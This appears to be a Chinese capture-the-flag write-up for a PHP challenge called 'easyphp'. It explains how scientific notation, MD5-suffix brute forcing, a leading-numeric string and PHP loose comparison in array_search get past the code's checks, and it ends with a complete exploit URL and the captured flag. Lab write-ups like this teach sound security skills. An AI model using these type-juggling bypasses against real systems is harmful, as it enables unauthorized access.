打开靶机url,上来就代码审计
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0; $a = $_GET['a'];
$b = $_GET['b']; if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
} $c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
} if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
} ?> Emmm...
easyphp 不easy

从代码上看 必须 key1key2都为true 或者都为 1 才能回显 flag

  1. 先看key1 = 1 的条件
1. 首先需要字符串a转为整型后 > 6000000,且a字符串的长度要小于等于3
通过科学计数法绕过 a = 1e9 (1e9 = 1000000000) 2. 要求b 的md5值后六位为 8b184b
只能通过撞库得到,编写撞库脚本
<?php
for ($i = 1; $i < 100000; $i++) {
if('8b184b' === substr(md5($i),-6,6)){
echo($i);
}
}
?>
得到b的值为53724,这里只能是猜测b和a一样是数字字符串,否则很难撞出来,只能说是解题思路吧,撞不出来就有点无解了,或者说有md5字典库去搜索吧

这里就知道 a=1e9, b = 53724

2. 再看key2=1的条件

1.c 必须是一个json字符串,并可以json_decode转化为array
2. 这个json里有一个key是m,且m 传入is_numeric返回false,且m对应的value大于2022
从这里可以看出,必然是要考察绕过is_numeric的检查 知识点:
基础知识:
数字字符串: 如: '123456', '1e123', '123.4'
数字字符串在与数字或者前导数字字符串比较时会转化为数字进行比较 前导数字字符串 如: '1234abcd', '1e123abcd', '123.4abcd'
前导数字字符串在与数字进行比较,且是弱类型比较时才会转化为数字进行比较,两个前导字符串比较不会转化为数字 其他字符串 如: 'abcd' 'abcd1234'
对于其他字符串,在与数字进行弱类型比较时会转化为数字,但只能转化为0 is_numberic()函数绕过
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。 2.1 那么绕过is_number 只要是一个前导字符串就可以了,比如:m => '2023a' (== > < 都是弱类型比较) 3. json里有一个key是 n,n是一个数组,长度为2,n的第一个元素也是数组
3.1 这里又有一个奇怪的逻辑:数组中有一个字符串是 "DGGJ", 同时下一行如果数组中有值是'DGGJ',就返回die,不给flag了
说明这里在考察字符串比较绕过
考点:此处利用array_search函数在比较两者是否相等时是使用的弱类型比较
其他字符串在与数字比较的时候会转为0,那么传入是0 的话 0==0 就会返回true
所以 n => [array(1,2), 0]
那么到这里 m,n 对应的值就都知道了,构造代码
<?php
$a = array('m' => '2023a', 'n' => array(array(1,2), 0));
var_dump($a);
echo json_encode($a);
?> 执行得到:
array(2) {
["m"]=>
string(5) "2023a"
["n"]=>
array(2) {
[0]=>
array(2) {
[0]=>
int(1)
[1]=>
int(2)
}
[1]=>
int(0)
}
} {"m":"2023a","n":[[1,2],0]}
构造url
http://61.147.171.105:56947?a=1e9&b=53724&c={"m":"2023a","n":[[1,2],0]}

boom 得到flag cyberpeace{ce51bcd2ab60cd08a6c842b94aae1e77}

最新文章

  1. [LeetCode] Integer Replacement 整数替换
  2. linux 调用java main方法
  3. {Latex}{Tabular}文本超出表格自动换行
  4. Linux系列笔记 - 用户以及用户组命令
  5. 如何&quot;格式化&quot;用过的磁带,让他被新磁带机重复利用
  6. PHP isset()与empty()的使用区别详解
  7. hbase regionserver IO问题
  8. mysql的内连接,外连接(左外连接,右外连接)巩固
  9. Topshelf便捷创建Windows服务
  10. SubTool 电影字幕下载程序
  11. oracle 11g杀掉锁的sql
  12. cf里的一些简单组合数题
  13. ef core中如何实现多对多的表映射关系
  14. ROS学习笔记(一) # ROS参数服务器
  15. 【CSS Demo】网站页面变灰
  16. LDA线性判别分析(转)
  17. springboot 日志2
  18. css案例 - 评分效果的星星✨外衣
  19. .net二纬码标签打印
  20. corosync

热门文章

  1. display:block 和display:inline-block的区别和用法
  2. C语言在Linux下创建一个僵尸进程
  3. vite vue3 规范化与Git Hooks
  4. Kafka之 API实战
  5. 创建线程的方式三:实现Callable接口。 --- JDK 5.0新增
  6. 参考Dubbo3官方文档做的学习笔记
  7. Vue学习之--------绑定样式、条件渲染、v-show和v-if的区别(2022/7/12)
  8. 齐博X1-栏目的调用3
  9. Educational Codeforces Round 138 (Rated for Div. 2) A-E
  10. c语言KMP匹配算法与字符串替换算法